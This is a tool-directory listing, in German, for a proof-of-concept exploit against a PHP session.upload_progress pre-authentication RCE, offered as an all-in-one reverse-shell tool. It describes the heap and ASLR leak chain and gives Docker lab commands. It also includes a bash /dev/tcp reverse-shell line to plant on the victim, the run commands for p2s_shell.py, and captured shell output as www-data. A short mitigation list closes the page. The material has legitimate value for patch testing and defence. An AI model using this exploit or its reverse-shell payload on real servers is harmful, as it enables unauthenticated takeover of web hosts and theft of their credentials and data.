Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-109619 — Proof-of-Concept-Exploit für PHP session.upload_progress Pre-Auth-RCE (PHP2Shell), mit Heap-/ASLR-Leak, Offset-Profilen pro Build und einem All-in-One-Reverse-Shell-Handler. | Kitploit
Tools/GitHubGitHub/eqstlab/cve-2026-109619
SpeicherforensikSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRemote-Access-ToolPayload-EntwicklungLabs & Praxis
GitHubeqstlab/cve-2026-109619

CVE-2026-109619

Proof-of-Concept-Exploit für PHP session.upload_progress Pre-Auth-RCE (PHP2Shell), mit Heap-/ASLR-Leak, Offset-Profilen pro Build und einem All-in-One-Reverse-Shell-Handler.

7vor 1 TagNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

CVE-2026-109618 / CVE-2026-109619 PHP2Shell RCE

★ CVE-2026-109618 / CVE-2026-109619 PHP session.upload_progress Pre-Auth RCE PoC ★


Überblick

PHP2Shell (CVE-2026-109618 / CVE-2026-109619) ist eine nicht authentifizierte Remote-Code-Execution-Schwachstelle in PHP unter Apache mod_php. Eine manipulierte multipart/form-data-Anfrage löst einen Out-of-Memory-Abbruch im Pre-Request-Handler session.upload_progress aus, wodurch veraltete Zeiger zurückbleiben, die den Zend-Heap und die libphp.so-Basen über Set-Cookie preisgeben (wodurch ASLR ausgehebelt wird); eine gefälschte HashTable leitet anschließend einen Destruktor auf zif_system um und führt Befehle als Web-Worker (www-data) aus. Es ist keine Authentifizierung erforderlich, und die anfälligen Session-Einstellungen sind standardmäßig aktiviert.


Betroffene Versionen

KategorieVersion
AnfälligPHP 8.2.x / 8.3.x / 8.4.x / 8.5.x vor dem Patch
GepatchtPHP 8.5.12 · 8.4.27 · 8.3.36 · 8.2.35 oder später (2026-10-21)
Verifiziert aufoffizielles php:8.4.26-apache (Debian 13, amd64)

Offsets sind pro Build (Version · Architektur · Distribution). Dieses PoC enthält ein Profil für 8.4.26-apache amd64; andere Builds benötigen ihre eigenen profiles/*.json.


Auswirkung

  • Remote Code Execution als Web-Worker-Konto (www-data)
  • Vollständiger Lese-/Schreibzugriff auf das Document Root, die App-Konfiguration, DB-Zugangsdaten und Secrets, die für dieses Konto erreichbar sind
  • Speicherofflegung (Heap-/libphp-Zeiger und potenziell Session-Tokens und Schlüssel) bereits vor der RCE

Umgebung

Opfer = offizielles php:8.4.26-apache mit der untenstehenden Konfiguration. Der Angreifer agiert von einem separaten Container (eqst-kali) auf derselben Docker-Bridge; die Reverse Shell ruft an dessen IP zurück.

# victim (official image + vulnerable config inlined in the Dockerfile)
docker build --platform linux/amd64 -t p2s-victim .
docker run -d --name p2s-victim --platform linux/amd64 p2s-victim          # default bridge
docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' p2s-victim   # e.g. 172.17.0.2

# attacker (kali) on the same bridge
docker network connect bridge eqst-kali
VoraussetzungZustand in diesem Lab
PHP 8.2–8.5 (vor dem Patch) + Apache mod_phpPHP 8.4.26 / Apache 2.4.69, prefork
session.upload_progress.enabledAn (Standard)
session.use_strict_mode0 (Standard)
display_errorsAn (liefert das Leck aus Stufe 1)
memory_limit128M (Standard — unverändert gelassen)
post_max_size / upload_max_filesize > memory_limit (ermöglicht, dass ein Request-Body das OOM erreicht)256M (upload-fähige Anwendungen erhöhen diese Werte üblicherweise)
Einzelner Apache-Worker-Prozess (veralteter Zustand ist pro Prozess)1

Hinweis zum Host (WSL2): Unter Windows Docker Desktop (WSL2) mappt der Kernel libphp bei 0x7c..., unterhalb der 0x7F...-ASLR-Prüfung des Upstream-Exploits, sodass dieser das gültige Leck verwirft. p2s_shell.py erweitert diesen Bereich automatisch. Auf einem nativen Linux-Host ist der Patch wirkungslos.


PoC

p2s_shell.py ist ein einzelner Prozess, der einen eigenen Listener öffnet, den Upstream-Exploit abruft, Offsets aus profiles/*.json anhand der PHP-Version des Ziels auswählt, die Kette auslöst und eine PTY-hochgestufte Reverse Shell abfängt (kein separates nc).

PoC/
├── Dockerfile                             # victim image (config inlined)
├── p2s_shell.py                           # all-in-one: fingerprint -> offsets -> trigger -> shell
└── profiles/php-8.4.26-apache-amd64.json  # per-build offsets (system/dtor/htdata)
    (vendor/exploit.py is auto-fetched from upstream at run time; not stored here)

Einmalige Voraussetzung: Platzieren Sie die Reverse-Shell-Payload im Web-Root des Opfers (der Befehls-Träger ist 14 Bytes groß, daher werden lange Payloads in einer Datei abgelegt, die über bash</w/c ausgeführt wird, gemäß Upstream):

KALI=$(docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' eqst-kali)
docker exec p2s-victim sh -c "printf 'bash -i >& /dev/tcp/$KALI/4444 0>&1\n' > /w/c"   # /w = web root symlink

Führen Sie das PoC aus dem Inneren des Angreifers aus (Pfade sind relativ zum Skript):

# interactive PTY shell  (victim IP from the inspect above)
python3 p2s_shell.py -u http://172.17.0.2/index.php

# batch: run commands and print output
python3 p2s_shell.py -u http://172.17.0.2/index.php --run 'id;uname -a'

Es fingerprintet X-Powered-By: PHP/8.4.26, lädt das passende Profil und öffnet die Shell:

[*] profile php-8.4.26-apache-amd64.json: PHP 8.4.26/amd64 system=0x465370 dtor=0x65eb60 htdata=0x690D8
[*] listening on 0.0.0.0:4444
[*] triggering exploit: bash</w/c  (offsets from JSON profile)
[+] reverse shell from 172.17.0.2:54620
www-data@victim:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Optionen:

  • --run 'c1;c2' — Batch-Modus (kein interaktives Terminal erforderlich)
  • --no-pty — behält eine einfache dumme Shell anstelle des PTY-Upgrades bei
  • --php-version / --arch — überschreibt den Ziel-Build, wenn X-Powered-By verborgen ist
  • --lport — Reverse-Shell-Port (muss mit dem in /w/c eingebetteten Port übereinstimmen, Standard 4444)

Mitigation

  • PHP auf 8.5.12 / 8.4.27 / 8.3.36 / 8.2.35 oder höher aktualisieren (die einzige vollständige Behebung); Worker danach neu starten
  • session.upload_progress.enabled = Off setzen, wenn der Upload-Fortschritt nicht verwendet wird
  • display_errors = Off in der Produktion setzen (blockiert das mitgelieferte Stage-1-Leak)
  • PHP als unprivilegierter Benutzer mit einem schreibgeschützten Document Root ausführen; große Multipart-Bodys am Edge ratenbegrenzen
  • Auf Multipart-Anfragen mit ~1000 Feldern, sehr große Bodys, wiederholte OOM/500er, Apache-Child-Abstürze und zend_mm_heap corrupted-Logzeilen achten

Analysis

  • KR:
  • EN:
Tool herunterladen